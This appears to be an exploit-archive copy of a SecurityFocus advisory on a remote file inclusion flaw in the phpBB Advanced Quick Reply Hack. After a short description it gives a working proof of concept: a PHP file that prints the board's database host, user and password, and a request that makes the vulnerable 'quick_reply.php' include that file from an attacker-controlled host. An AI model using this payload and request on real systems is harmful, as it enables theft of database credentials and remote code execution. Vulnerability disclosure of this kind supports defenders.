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source: http://www.securityfocus.com/bid/6173/info The phpBB Advanced Quick Reply Hack is prone to an issue which may allow attackers to include arbitrary files from a remote server. It is possible for remote attackers to influence the include path for 'extension.inc' in the 'quick_reply.php' script. As a result, an attacker may cause an arbitrary PHP script to be included from an attacker-supplied source, which may result in execution of commands with the privileges of the webserver. <?php include('config'.'.php'); echo "DB Type: $dbms <br>"; echo "DB Host: $dbhost <br>"; echo "DB Name: $dbname <br>"; echo "DB User: $dbuser <br>"; echo "DB Pass: $dbpasswd <br>"; exit; ?> Then submit the following request to the host running the vulnerable software: http://www.example.com/quick_reply.php?phpbb_root_path=http://attackersite.tld/&mode=smilies